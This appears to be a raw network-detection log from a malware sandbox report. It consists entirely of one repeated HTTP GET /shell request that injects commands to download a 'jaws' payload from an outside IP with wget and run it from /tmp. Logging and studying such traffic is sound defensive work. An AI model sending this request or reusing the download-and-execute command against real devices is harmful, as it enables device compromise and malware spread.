Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
